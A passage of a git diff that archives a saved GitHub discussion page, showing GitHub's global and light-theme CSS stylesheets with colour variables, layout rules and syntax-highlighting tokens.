dark){[data-color-mode=auto][data-dark-theme*=light]{--color-workflow-card-connector:var(--color-scale-gray-3);--color-workflow-card-connector-bg:var(--color-scale-gray-3);--color-workflow-card-connector-inactive:var(--color-border-default);--color-workflow-card-connector-inactive-bg:var(--color-border-default);--color-workflow-card-connector-highlight:var(--color-scale-blue-4);--color-workflow-card-connector-highlight-bg:var(--color-scale-blue-4);--color-workflow-card-bg:var(--color-scale-white);--color-workflow-card-inactive-bg:var(--color-canvas-inset);--color-workflow-card-header-shadow:rgba(0, 0, 0, 0);--color-workflow-card-progress-complete-bg:var(--color-scale-blue-4);--color-workflow-card-progress-incomplete-bg:var(--color-scale-gray-2);--color-discussions-state-answered-icon:var(--color-scale-white);--color-bg-discussions-row-emoji-box:rgba(209, 213, 218, 0.5);--color-notifications-button-text:var(--color-fg-muted);--color-notifications-button-hover-text:var(--color-fg-default);--color-notifications-button-hover-bg:var(--color-scale-gray-2);--color-notifications-row-read-bg:var(--color-canvas-subtle);--color-notifications-row-bg:var(--color-scale-white);--color-icon-directory:var(--color-scale-blue-3);--color-checks-step-error-icon:var(--color-scale-red-4);--color-calendar-halloween-graph-day-L1-bg:#ffee4a;--color-calendar-halloween-graph-day-L2-bg:#ffc501;--color-calendar-halloween-graph-day-L3-bg:#fe9600;--color-calendar-halloween-graph-day-L4-bg:#03001c;--color-calendar-graph-day-bg:#ebedf0;--color-calendar-graph-day-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L1-bg:#9be9a8;--color-calendar-graph-day-L2-bg:#40c463;--color-calendar-graph-day-L3-bg:#30a14e;--color-calendar-graph-day-L4-bg:#216e39;--color-calendar-graph-day-L1-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L2-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L3-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L4-border:rgba(27, 31, 35, 0.06);--color-user-mention-fg:var(--color-fg-default);--color-user-mention-bg:var(--color-attention-subtle);--color-text-white:var(--color-scale-white)}}.hx_color-icon-directory{color:var(--color-icon-directory)}.hx_comment-box--tip::after{background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default)) !important}.hx_keyword-hl{background-color:var(--color-search-keyword-hl)}.hx_dot-fill-pending-icon{color:var(--color-attention-emphasis) !important}@media(max-width: 543px){[data-color-mode=light][data-light-theme*=dark],[data-color-mode=dark][data-dark-theme*=dark]{--color-fg-default: var(--color-scale-gray-0);--color-canvas-default: var(--color-scale-gray-8)}}@media(max-width: 543px)and (prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark]{--color-fg-default: var(--color-scale-gray-0);--color-canvas-default: var(--color-scale-gray-8)}}@media(max-width: 543px)and (prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark]{--color-fg-default: var(--color-scale-gray-0);--color-canvas-default: var(--color-scale-gray-8)}}:root[data-color-mode=dark] .entry-content [href$="#gh-light-mode-only"],:root[data-color-mode=dark] .comment-body [href$="#gh-light-mode-only"],:root[data-color-mode=dark] .readme [href$="#gh-light-mode-only"]{display:none}:root[data-color-mode=light] .entry-content [href$="#gh-dark-mode-only"],:root[data-color-mode=light] .comment-body [href$="#gh-dark-mode-only"],:root[data-color-mode=light] .readme [href$="#gh-dark-mode-only"]{display:none}@media(prefers-color-scheme: dark){:root[data-color-mode=auto] .entry-content [href$="#gh-light-mode-only"],:root[data-color-mode=auto] .comment-body [href$="#gh-light-mode-only"],:root[data-color-mode=auto] .readme [href$="#gh-light-mode-only"]{display:none}}@media(prefers-color-scheme: light){:root[data-color-mode=auto] .entry-content [href$="#gh-dark-mode-only"],:root[data-color-mode=auto] .comment-body [href$="#gh-dark-mode-only"],:root[data-color-mode=auto] .readme [href$="#gh-dark-mode-only"]{display:none}}.colorblind-themes-v1{--color-open-fg: var(--color-success-fg);--color-open-emphasis: var(--color-success-emphasis);--color-open-muted: var(--color-success-muted);--color-open-subtle: var(--color-success-subtle);--color-closed-fg: var(--color-danger-fg);--color-closed-emphasis: var(--color-danger-emphasis);--color-closed-muted: var(--color-danger-muted);--color-closed-subtle: var(--color-danger-subtle)}.dropdown-item:focus [class*=color-text-],.dropdown-item:hover [class*=color-text-]{color:inherit !important}.filter-item.selected [class*=color-text-]{color:inherit !important}body:not(.intent-mouse) .hx_focus-input:focus+.hx_focus-target{box-shadow:var(--color-btn-shadow-input-focus)}.reset-btn-override{font-weight:600;color:var(--color-fg-muted)}.reset-btn-override:hover{color:var(--color-accent-fg);text-decoration:none}.reset-btn-override:hover .reset-btn-override-icon{background-color:var(--color-accent-emphasis)}.reset-btn-override-icon{width:18px;height:18px;padding:1px;margin-right:3px;color:var(--color-fg-on-emphasis);text-align:center;background-color:var(--color-neutral-emphasis);border-radius:6px}.is-auto-complete-loading .form-control{padding-right:30px;background-image:url("/images/spinners/octocat-spinner-32.gif");background-size:16px}.hx_breadcrumb-header .header-search-wrapper{height:32px}.hx_breadcrumb-header .notification-indicator .mail-status,.hx_breadcrumb-header .unread-indicator{background-color:var(--color-accent-emphasis);background-image:none}.hx_breadcrumb-header .Header-link,.hx_breadcrumb-header .Header-current-page{color:var(--color-header-logo)}.hx_breadcrumb-header-crumbs .Header-link,.hx_breadcrumb-header-logo{transition:opacity .1s ease-out}.hx_breadcrumb-header-crumbs .Header-link:hover,.hx_breadcrumb-header-logo:hover{color:var(--color-header-text);opacity:.75}.hx_breadcrumb-header-divider{color:var(--color-header-divider)}.Header-button{background-color:var(--color-scale-gray-8);border:1px solid var(--color-scale-gray-6);border-radius:6px;transition:background-color .2s cubic-bezier(0.3, 0, 0.5, 1)}.Header-button .octicon{color:var(--color-header-logo)}.Header-button:hover,.Header-button:focus,.Header-button:active{background-color:transparent}.Header-button:hover .octicon,.Header-button:focus .octicon,.Header-button:active .octicon{color:var(--color-header-text);box-shadow:none}.hx_breadcrumb-header-dropdown::before,.hx_breadcrumb-header-dropdown::after{display:none}.hx_breadcrumb-header-dropdown .dropdown-item{line-height:40px;transition:background-color 60ms ease-out}.hx_breadcrumb-header-dropdown .dropdown-item:hover{color:var(--color-fg-default);background-color:var(--color-canvas-subtle)}.icon-sponsor,.icon-sponsoring{transition:transform .15s cubic-bezier(0.2, 0, 0.13, 2);transform:scale(1)}.btn:hover .icon-sponsor,.btn:focus .icon-sponsor,.Label:hover .icon-sponsor,.Label:focus .icon-sponsor,.btn:hover .icon-sponsoring,.btn:focus .icon-sponsoring,.Label:hover .icon-sponsoring,.Label:focus .icon-sponsoring{transform:scale(1.1)}.icon-sponsor{overflow:visible !important}.hx_kbd{display:inline-block;min-width:21px;padding:0 4px;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji";font-size:12px;font-weight:400;line-height:1.5;color:var(--color-fg-muted);text-align:center;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px;box-shadow:none}.hx_hit-user em,.hx_hit-package em,.hx_hit-marketplace em,.hx_hit-highlighting-wrapper em,.hx_hit-commit em,.hx_hit-issue em,.hx_hit-repo em,.hx_hit-wiki em{font-style:normal;font-weight:600}.SelectMenu-list.select-menu-list{max-height:none}@media(max-width: 543px){.SelectMenu-modal{width:unset !important}}.SelectMenu--hasFilter .SelectMenu-list{contain:content}.SelectMenu-item:disabled,.SelectMenu-item[aria-disabled=true]{color:var(--color-fg-muted);pointer-events:none}.SelectMenu .SelectMenu-item .is-filtering{color:var(--color-fg-muted)}.SelectMenu .SelectMenu-item .is-filtering b{color:var(--color-fg-default)}label.SelectMenu-item{font-weight:400}label.SelectMenu-item[aria-checked=true]{font-weight:600}.hx_SelectMenu-modal-no-animation{animation:none}.Box--responsive{margin-right:-15px;margin-left:-15px;border-right:0;border-left:0;border-radius:0}.Box--responsive .Box-row--unread{position:relative;box-shadow:none}.Box--responsive .Box-row--unread::before{position:absolute;top:36px;left:20px;display:inline-block;width:8px;height:8px;color:#fff;content:"";background-image:linear-gradient(#54a3ff, #006eed);background-clip:padding-box;border-radius:50%}.Box--responsive .Box-header{border-right-width:0;border-left-width:0;border-radius:0}@media(min-width: 544px){.Box--responsive{margin-right:0;margin-left:0;border:1px solid var(--color-border-default);border-radius:6px}.Box--responsive .Box-header{border-right-width:1px;border-left-width:1px;border-top-left-radius:6px;border-top-right-radius:6px}.Box--responsive .Box-row--unread{box-shadow:2px 0 0 var(--color-accent-emphasis) inset}.Box--responsive .Box-row--unread::before{display:none}}@media(max-width: 767px){.page-responsive .dropdown-menu,.page-responsive .dropdown-item{padding-top:8px;padding-bottom:8px}.page-responsive .hx_dropdown-fullscreen[open]>summary::before{background-color:var(--color-primer-canvas-backdrop)}.page-responsive .hx_dropdown-fullscreen .dropdown-menu{position:fixed;top:auto;right:16px !important;bottom:20%;left:16px !important;width:auto !important;max-width:none !important;max-height:calc(80% - 16px);margin:0 !important;overflow-y:auto;transform:none;animation:dropdown-menu-animation .24s cubic-bezier(0, 0.1, 0.1, 1) backwards;-webkit-overflow-scrolling:touch}.page-responsive .hx_dropdown-fullscreen .dropdown-menu::before,.page-responsive .hx_dropdown-fullscreen .dropdown-menu::after{display:none}@keyframes dropdown-menu-animation{0%{opacity:0;transform:scale(0.9)}}.page-responsive .hx_dropdown-fullscreen .dropdown-item{padding-top:16px;padding-bottom:16px}}.hx_rsm-close-button{display:none !important}@media(max-width: 767px){.page-responsive .hx_rsm[open]>summary::before{background-color:var(--color-primer-canvas-backdrop)}.page-responsive .hx_rsm .select-menu-modal,.page-responsive .hx_rsm-modal{position:fixed !important;top:75px;right:16px !important;left:16px;display:flex;width:auto;height:80%;margin:0;flex-direction:column;animation:hx_rsm-modal-animation .24s .12s cubic-bezier(0, 0.1, 0.1, 1) backwards}.page-responsive .hx_rsm--auto-height .select-menu-modal{top:auto;bottom:20%;height:auto;max-height:calc(80% - 16px)}.page-responsive .hx_rsm .select-menu-header,.page-responsive .hx_rsm .select-menu-text-filter.select-menu-text-filter{padding:16px;border-top-left-radius:inherit;border-top-right-radius:inherit}.page-responsive .hx_rsm tab-container,.page-responsive .hx_rsm-content{display:flex;min-height:0;flex-direction:column;flex:auto}.page-responsive .hx_rsm .select-menu-list{flex:auto;max-height:none;-webkit-overflow-scrolling:touch}.page-responsive .hx_rsm-content>.select-menu-item{flex-shrink:0}.page-responsive .hx_rsm .select-menu-item{padding-top:16px;padding-bottom:16px;padding-left:40px}.page-responsive .hx_rsm .close-button,.page-responsive .hx_rsm-close-button{position:relative;display:block !important}.page-responsive .hx_rsm .close-button::before,.page-responsive .hx_rsm-close-button::before{position:absolute;top:-16px;right:-16px;bottom:-16px;left:-16px;content:""}.page-responsive .hx_rsm .close-button .octicon-x,.page-responsive .hx_rsm-close-button .octicon-x{color:var(--color-fg-muted)}.page-responsive .hx_rsm .select-menu-loading-overlay{animation-delay:1s}.page-responsive .hx_rsm .select-menu-button::before,.page-responsive .hx_rsm-trigger::before{animation:hx_rsm-trigger-animation .24s cubic-bezier(0, 0, 0.2, 1) backwards}@keyframes hx_rsm-trigger-animation{0%{opacity:0}}@keyframes hx_rsm-modal-animation{0%{opacity:0;transform:scale(0.9)}}.page-responsive .hx_rsm-dialog{max-width:none;height:auto;max-height:80%;transform:none}.page-responsive .hx_rsm-dialog-content{flex:1;min-height:0}}@media(max-width: 767px)and (max-height: 500px){.page-responsive .hx_rsm .select-menu-modal,.page-responsive .hx_rsm-modal{bottom:16px;height:auto}}.select-menu-modal{border-color:var(--color-border-default);box-shadow:var(--color-shadow-large)}.select-menu-header,.select-menu-filters{background:var(--color-canvas-overlay)}.select-menu-text-filter input{padding:5px 12px}.select-menu-item{text-align:left;background-color:var(--color-canvas-overlay);border-top:0;border-right:0;border-left:0}.preview-selected .tabnav--responsive{border-bottom:1px solid var(--color-border-default)}.tabnav--responsive .tabnav-tabs{z-index:1}@media(max-width: 767px){.tabnav--responsive .tabnav-tab{background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-left:0;border-radius:0}.tabnav--responsive .tabnav-tab:first-child{border-left:1px solid var(--color-border-default)}.tabnav--responsive .tabnav-tab[aria-selected=true],.tabnav--responsive .tabnav-tab.selected{background-color:var(--color-canvas-default);border-bottom:0}}@media(max-width: 767px){.hx_sm-hide-drag-drop textarea{border-bottom:1px solid var(--color-border-default);border-bottom-right-radius:6px;border-bottom-left-radius:6px}.hx_sm-hide-drag-drop .hx_drag-and-drop{display:none !important}}@media(hover: none){.tooltipped:hover::before,.tooltipped:hover::after{display:none}}@media(hover: none){.markdown-body h1 .octicon-link,.markdown-body h2 .octicon-link,.markdown-body h3 .octicon-link,.markdown-body h4 .octicon-link,.markdown-body h5 .octicon-link,.markdown-body h6 .octicon-link{visibility:visible !important}}.min-width-lg{min-width:1012px}.min-width-xl{min-width:1280px}.min-height-0{min-height:0 !important}.ws-pre-wrap{white-space:pre-wrap}.cursor-pointer{cursor:pointer}.cursor-default{cursor:default}@media screen and (prefers-reduced-motion: no-preference){.hide-no-pref-motion{display:none !important;visibility:hidden}}@media screen and (prefers-reduced-motion: reduce){.hide-reduced-motion{display:none !important;visibility:hidden}}.line_through{text-decoration:line-through;text-decoration-thickness:1%}.gap-2{gap:8px}.starring-container .unstarred,.starring-container.on .starred{display:block}.starring-container.on .unstarred,.starring-container .starred{display:none}.starring-container.loading{opacity:.5}.user-following-container .follow,.user-following-container.on .unfollow{display:inline-block}.user-following-container.on .follow,.user-following-container .unfollow{display:none}.user-following-container.loading{opacity:.5}.hidden-when-empty:empty{display:none !important}.cm-number,.cm-atom{color:var(--color-codemirror-syntax-constant)}auto-check .is-autocheck-loading,auto-check .is-autocheck-successful,auto-check .is-autocheck-errored{padding-right:30px}auto-check .is-autocheck-loading{background-image:url("/images/spinners/octocat-spinner-16px.gif")}auto-check .is-autocheck-successful{background-image:url("/images/modules/ajax/success.png")}auto-check .is-autocheck-errored{background-image:url("/images/modules/ajax/error.png")}@media only screen and (-webkit-min-device-pixel-ratio: 2),only screen and (-moz-min-device-pixel-ratio: 2),only screen and (min-device-pixel-ratio: 2),only screen and (min-resolution: 192dpi),only screen and (min-resolution: 2dppx){auto-check .is-autocheck-loading,auto-check .is-autocheck-successful,auto-check .is-autocheck-errored{background-size:16px 16px}auto-check .is-autocheck-loading{background-image:url("/images/spinners/octocat-spinner-32.gif")}auto-check .is-autocheck-successful{background-image:url("/images/modules/ajax/success@2x.png")}auto-check .is-autocheck-errored{background-image:url("/images/modules/ajax/error@2x.png")}}.hx_text-body{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji" !important}.hx_disabled-form-checkbox-label.form-checkbox.disabled{color:var(--color-fg-muted)}.autocomplete-item{background-color:transparent}.ColorSwatch{display:inline-block;width:1em;height:1em;vertical-align:middle;border:1px solid var(--color-border-subtle);border-radius:6px}.label-select-menu .color,.ColorSwatch{border-radius:2em}.details-overlay[open]>.dropdown-item:hover{color:inherit;background:var(--color-canvas-default)}remote-input[loading] .form-control{padding-right:30px;background-image:url("/images/spinners/octocat-spinner-32.gif");background-size:16px}.hx_form-control-spinner{position:absolute;top:24px;right:24px;display:none}@media(min-width: 767px){.hx_form-control-spinner{top:18px;right:18px}}.hx_form-control-spinner-wrapper{position:relative}.hx_form-control-spinner-wrapper .is-loading.form-control{padding-right:28px}.hx_form-control-spinner-wrapper .is-loading+.hx_form-control-spinner{display:block}.drag-and-drop{border-color:var(--color-border-default)}.input-sm{min-height:28px}.btn .octicon-triangle-down{margin-right:0}.UnderlineNav-item.selected .UnderlineNav-octicon,.UnderlineNav-item[aria-current]:not([aria-current=false]) .UnderlineNav-octicon,.UnderlineNav-item[role=tab][aria-selected=true] .UnderlineNav-octicon{color:inherit}.break-line-anywhere{line-break:anywhere !important}.form-checkbox input[type=checkbox],.form-checkbox input[type=radio]{margin-top:4px}.status-indicator-success::before,.status-indicator-failed::before{content:none}.markdown-title code{padding:2px 4px;font-size:.9em;line-height:1;background-color:var(--color-neutral-muted);border-radius:6px}.hx_ActionList-content>.hx_ActionList-item-label,.hx_ActionList-content>.hx_ActionList-item-visual{pointer-events:none}.IssueLabel--big.lh-condensed{display:inline-block;padding:0 10px;font-size:12px;font-weight:500;line-height:22px !important;border:1px solid transparent;border-radius:2em}.hx_IssueLabel{--perceived-lightness: calc( ((var(--label-r) * 0.2126) + (var(--label-g) * 0.7152) + (var(--label-b) * 0.0722)) / 255 );--lightness-switch: max(0, min(calc((var(--perceived-lightness) - var(--lightness-threshold)) * -1000), 1))}:root .hx_IssueLabel,[data-color-mode=light][data-light-theme*=light] .hx_IssueLabel,[data-color-mode=dark][data-dark-theme*=light] .hx_IssueLabel{--lightness-threshold: 0.453;--border-threshold: 0.96;--border-alpha: max(0, min(calc((var(--perceived-lightness) - var(--border-threshold)) * 100), 1));color:hsl(0deg, 0%, calc(var(--lightness-switch) * 100%));background:rgb(var(--label-r), var(--label-g), var(--label-b));border-color:hsla(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) - 25) * 1%), var(--border-alpha))}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=light] .hx_IssueLabel{--lightness-threshold: 0.453;--border-threshold: 0.96;--border-alpha: max(0, min(calc((var(--perceived-lightness) - var(--border-threshold)) * 100), 1));color:hsl(0deg, 0%, calc(var(--lightness-switch) * 100%));background:rgb(var(--label-r), var(--label-g), var(--label-b));border-color:hsla(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) - 25) * 1%), var(--border-alpha))}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=light] .hx_IssueLabel{--lightness-threshold: 0.453;--border-threshold: 0.96;--border-alpha: max(0, min(calc((var(--perceived-lightness) - var(--border-threshold)) * 100), 1));color:hsl(0deg, 0%, calc(var(--lightness-switch) * 100%));background:rgb(var(--label-r), var(--label-g), var(--label-b));border-color:hsla(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) - 25) * 1%), var(--border-alpha))}}[data-color-mode=light][data-light-theme*=dark] .hx_IssueLabel,[data-color-mode=dark][data-dark-theme*=dark] .hx_IssueLabel{--lightness-threshold: 0.6;--background-alpha: 0.18;--border-alpha: 0.3;--lighten-by: calc(((var(--lightness-threshold) - var(--perceived-lightness)) * 100) * var(--lightness-switch));color:hsl(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) + var(--lighten-by)) * 1%));background:rgba(var(--label-r), var(--label-g), var(--label-b), var(--background-alpha));border-color:hsla(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) + var(--lighten-by)) * 1%), var(--border-alpha))}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark] .hx_IssueLabel{--lightness-threshold: 0.6;--background-alpha: 0.18;--border-alpha: 0.3;--lighten-by: calc(((var(--lightness-threshold) - var(--perceived-lightness)) * 100) * var(--lightness-switch));color:hsl(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) + var(--lighten-by)) * 1%));background:rgba(var(--label-r), var(--label-g), var(--label-b), var(--background-alpha));border-color:hsla(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) + var(--lighten-by)) * 1%), var(--border-alpha))}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark] .hx_IssueLabel{--lightness-threshold: 0.6;--background-alpha: 0.18;--border-alpha: 0.3;--lighten-by: calc(((var(--lightness-threshold) - var(--perceived-lightness)) * 100) * var(--lightness-switch));color:hsl(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) + var(--lighten-by)) * 1%));background:rgba(var(--label-r), var(--label-g), var(--label-b), var(--background-alpha));border-color:hsla(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) + var(--lighten-by)) * 1%), var(--border-alpha))}}.signed-commit-badge-small,.signed-commit-badge-medium,.signed-commit-badge-large{display:inline-block;padding:0 7px;font-size:12px;font-weight:500;line-height:18px;white-space:nowrap;border:1px solid transparent;border-radius:2em;border-color:var(--color-border-default)}.signed-commit-badge-small{margin-top:0}.signed-commit-badge-large{padding-right:10px;padding-left:10px;line-height:22px}.topic-tag-action,.delete-topic-button,.topic-tag{display:inline-block;padding:0 7px;font-size:12px;font-weight:500;line-height:18px;white-space:nowrap;border:1px solid transparent;border-radius:2em;padding-right:10px;padding-left:10px;line-height:22px;color:var(--color-accent-fg);background-color:var(--color-accent-subtle);border:1px solid var(--color-topic-tag-border, transparent)}.topic-tag-action:active,.topic-tag-action:hover,.delete-topic-button:active,.delete-topic-button:hover,.topic-tag:active,.topic-tag:hover{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.topic-tag{margin:0 .125em .333em 0}.topic-tag-outline{background:transparent}.topic-tag-action{display:inline-flex;padding-right:0;margin:.6em .5em 0 0}.delete-topic-button,.topic-tag-action .add-topic-button,.topic-tag-action .remove-topic-button{display:flex;width:24px;height:24px;padding:0;color:inherit;border-color:transparent;border-left:0;border-radius:2em;align-items:center;justify-content:center}.hx_Layout.hx_Layout--sidebar-hidden{grid-auto-flow:row;grid-template-columns:1fr !important}.hx_Layout.hx_Layout--sidebar-hidden .Layout-sidebar,.hx_Layout.hx_Layout--sidebar-hidden .Layout-divider,.hx_Layout.hx_Layout--sidebar-hidden .Layout-main{width:100% !important;grid-column:1 !important}.hx_Layout.hx_Layout--sidebar-hidden.Layout--sidebarPosition-flowRow-start .Layout-sidebar{grid-row:1}.hx_Layout.hx_Layout--sidebar-hidden.Layout--sidebarPosition-flowRow-start .Layout-main{grid-row:2/span 2}.hx_Layout.hx_Layout--sidebar-hidden.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:2/span 2}.hx_Layout.hx_Layout--sidebar-hidden.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}.hx_Layout.hx_Layout--sidebar-hidden.Layout--sidebarPosition-flowRow-none .Layout-sidebar{display:none}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided{--Layout-gutter: 0}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided .Layout-divider{height:1px;grid-row:2}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided .Layout-divider.Layout-divider--flowRow-hidden{display:none}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided .Layout-divider.Layout-divider--flowRow-shallow{height:8px;margin-right:0;background:var(--color-canvas-inset);border-color:var(--color-border-default);border-style:solid;border-width:1px 0}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided .Layout-main{grid-row:3/span 1}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:3/span 1}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}.hx_Layout--sidebar{top:60px;box-sizing:border-box;overscroll-behavior:contain}.branch-action-item.color-border-default{border-color:var(--color-border-default) !important}.user-status-container .input-group-button .btn{height:32px}.reponav-item,.pagehead-tabs-item{border-radius:4px 4px 0 0}.reponav-item.selected,.pagehead-tabs-item.selected{border-top-color:#f9826c}.auto-search-group>.octicon{top:8px}.subnav-search>button.mt-2{margin-top:6px !important}.completeness-indicator-success{color:var(--color-fg-on-emphasis);background-color:var(--color-btn-primary-bg)}.pagination-loader-container button.color-bg-default.border-0{border-top-left-radius:6px;border-top-right-radius:6px}.avatar-user{border-radius:50% !important}@media(max-width: 543px){.minimized-comment>details>div{padding-left:0 !important}}@media(max-width: 543px){.minimized-comment>details>summary>div{flex-direction:column}.minimized-comment>details>summary>div .review-comment-contents{align-left:flex-start}}.hx_disabled-input{margin-right:-4px !important;margin-left:-4px !important}.hx_disabled-input sidebar-memex-input[disabled]:not(.no-pointer) *{cursor:pointer}.hx_disabled-input sidebar-memex-input:not([disabled]) .Box-row--hover-gray{background-color:var(--color-canvas-subtle)}.hx_disabled-input .Box-row--hover-gray svg.octicon-pencil{visibility:hidden;opacity:0}.hx_disabled-input .Box-row--hover-gray:hover,.hx_disabled-input .Box-row--hover-gray:focus{padding-top:8px !important;padding-bottom:8px !important}.hx_disabled-input .Box-row--hover-gray:hover svg.octicon-pencil,.hx_disabled-input .Box-row--hover-gray:focus svg.octicon-pencil{visibility:visible;opacity:1}.hx_disabled-input input:not(:disabled){margin-top:8px !important;margin-bottom:8px !important}.hx_disabled-input input[disabled],.hx_disabled-input select[disabled],.hx_disabled-input .form-control[contenteditable=false]{padding-right:0;padding-left:0;margin-right:0;color:var(--color-fg-default) !important;background:transparent;border:0;box-shadow:none;opacity:1}.hx_disabled-input text-expander input[type=text][disabled]{display:none}.hx_disabled-input text-expander input[type=text][disabled]+div.form-control{display:block}.hx_disabled-input text-expander input[type=text]+div.form-control{display:none}.hx_disabled-input input[type=date][disabled]{display:none}.hx_disabled-input input[type=date][disabled]+div.form-control{display:block}.hx_disabled-input input[type=date]+div.form-control{display:none}.hx_disabled-input input[disabled]::placeholder,.hx_disabled-input selected[disabled]::placeholder{color:var(--color-fg-default) !important}.hx_disabled-input .form-select{background-image:none !important}.hx_disabled-input .Box-row--focus-gray:focus{background:var(--color-canvas-subtle)}.summary-iteration .inline-status{display:none}.summary-iteration .block-status{display:inline-block}.list-iteration .inline-status{display:inline}.list-iteration .block-status{display:none}.hx_tabnav-in-dropdown{border-radius:5px 5px 0 0}.hx_tabnav-in-dropdown .tabnav-tabs .hx_tabnav-in-dropdown-wrapper:first-child .tabnav-tab.selected,.hx_tabnav-in-dropdown .tabnav-tabs .hx_tabnav-in-dropdown-wrapper:first-child .tabnav-tab[aria-selected=true],.hx_tabnav-in-dropdown .tabnav-tabs .hx_tabnav-in-dropdown-wrapper:first-child .tabnav-tab[aria-current]:not([aria-current=false]){border-left:0}.hx_tabnav-in-dropdown .tabnav-tabs .hx_tabnav-in-dropdown-wrapper:last-child .tabnav-tab.selected,.hx_tabnav-in-dropdown .tabnav-tabs .hx_tabnav-in-dropdown-wrapper:last-child .tabnav-tab[aria-selected=true],.hx_tabnav-in-dropdown .tabnav-tabs .hx_tabnav-in-dropdown-wrapper:last-child .tabnav-tab[aria-current]:not([aria-current=false]){border-right:0}.hx_tabnav-in-dropdown .tabnav-tab.selected,.hx_tabnav-in-dropdown .tabnav-tab[aria-selected=true],.hx_tabnav-in-dropdown .tabnav-tab[aria-current]:not([aria-current=false]){margin-top:-1px;background-color:var(--color-canvas-overlay)}.hx_tabnav-in-dropdown #cloud-tab[aria-selected=false]::after{position:absolute;top:-14px;right:10px;left:auto;z-index:10;display:inline-block;content:"";border:7px solid transparent;border-bottom:7px solid var(--color-canvas-subtle)}.details-overlay-dark[open]>summary::before{z-index:111 !important}.turbo-progress-bar{z-index:2147483647}.timeline-comment .previewable-comment-form textarea{max-height:none} + +/*# sourceMappingURL=global-0d69ca7f0327.css.map*/ \ No newline at end of file diff --git a/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/light-92c7d381038e.css b/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/light-92c7d381038e.css new file mode 100644 index 0000000..044e8a7 --- /dev/null +++ b/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/light-92c7d381038e.css @@ -0,0 +1,3 @@ +:root,[data-color-mode=light][data-light-theme=light],[data-color-mode=dark][data-dark-theme=light]{/*! */}:root,[data-color-mode=light][data-light-theme=light],[data-color-mode=dark][data-dark-theme=light]{--color-canvas-default-transparent: rgba(255,255,255,0);--color-page-header-bg: #f6f8fa;--color-marketing-icon-primary: #218bff;--color-marketing-icon-secondary: #54aeff;--color-diff-blob-addition-num-text: #24292f;--color-diff-blob-addition-fg: #24292f;--color-diff-blob-addition-num-bg: #CCFFD8;--color-diff-blob-addition-line-bg: #E6FFEC;--color-diff-blob-addition-word-bg: #ABF2BC;--color-diff-blob-deletion-num-text: #24292f;--color-diff-blob-deletion-fg: #24292f;--color-diff-blob-deletion-num-bg: #FFD7D5;--color-diff-blob-deletion-line-bg: #FFEBE9;--color-diff-blob-deletion-word-bg: rgba(255,129,130,0.4);--color-diff-blob-hunk-num-bg: rgba(84,174,255,0.4);--color-diff-blob-expander-icon: #57606a;--color-diff-blob-selected-line-highlight-mix-blend-mode: multiply;--color-diffstat-deletion-border: rgba(27,31,36,0.15);--color-diffstat-addition-border: rgba(27,31,36,0.15);--color-diffstat-addition-bg: #2da44e;--color-search-keyword-hl: #fff8c5;--color-prettylights-syntax-comment: #6e7781;--color-prettylights-syntax-constant: #0550ae;--color-prettylights-syntax-entity: #8250df;--color-prettylights-syntax-storage-modifier-import: #24292f;--color-prettylights-syntax-entity-tag: #116329;--color-prettylights-syntax-keyword: #cf222e;--color-prettylights-syntax-string: #0a3069;--color-prettylights-syntax-variable: #953800;--color-prettylights-syntax-brackethighlighter-unmatched: #82071e;--color-prettylights-syntax-invalid-illegal-text: #f6f8fa;--color-prettylights-syntax-invalid-illegal-bg: #82071e;--color-prettylights-syntax-carriage-return-text: #f6f8fa;--color-prettylights-syntax-carriage-return-bg: #cf222e;--color-prettylights-syntax-string-regexp: #116329;--color-prettylights-syntax-markup-list: #3b2300;--color-prettylights-syntax-markup-heading: #0550ae;--color-prettylights-syntax-markup-italic: #24292f;--color-prettylights-syntax-markup-bold: #24292f;--color-prettylights-syntax-markup-deleted-text: #82071e;--color-prettylights-syntax-markup-deleted-bg: #FFEBE9;--color-prettylights-syntax-markup-inserted-text: #116329;--color-prettylights-syntax-markup-inserted-bg: #dafbe1;--color-prettylights-syntax-markup-changed-text: #953800;--color-prettylights-syntax-markup-changed-bg: #ffd8b5;--color-prettylights-syntax-markup-ignored-text: #eaeef2;--color-prettylights-syntax-markup-ignored-bg: 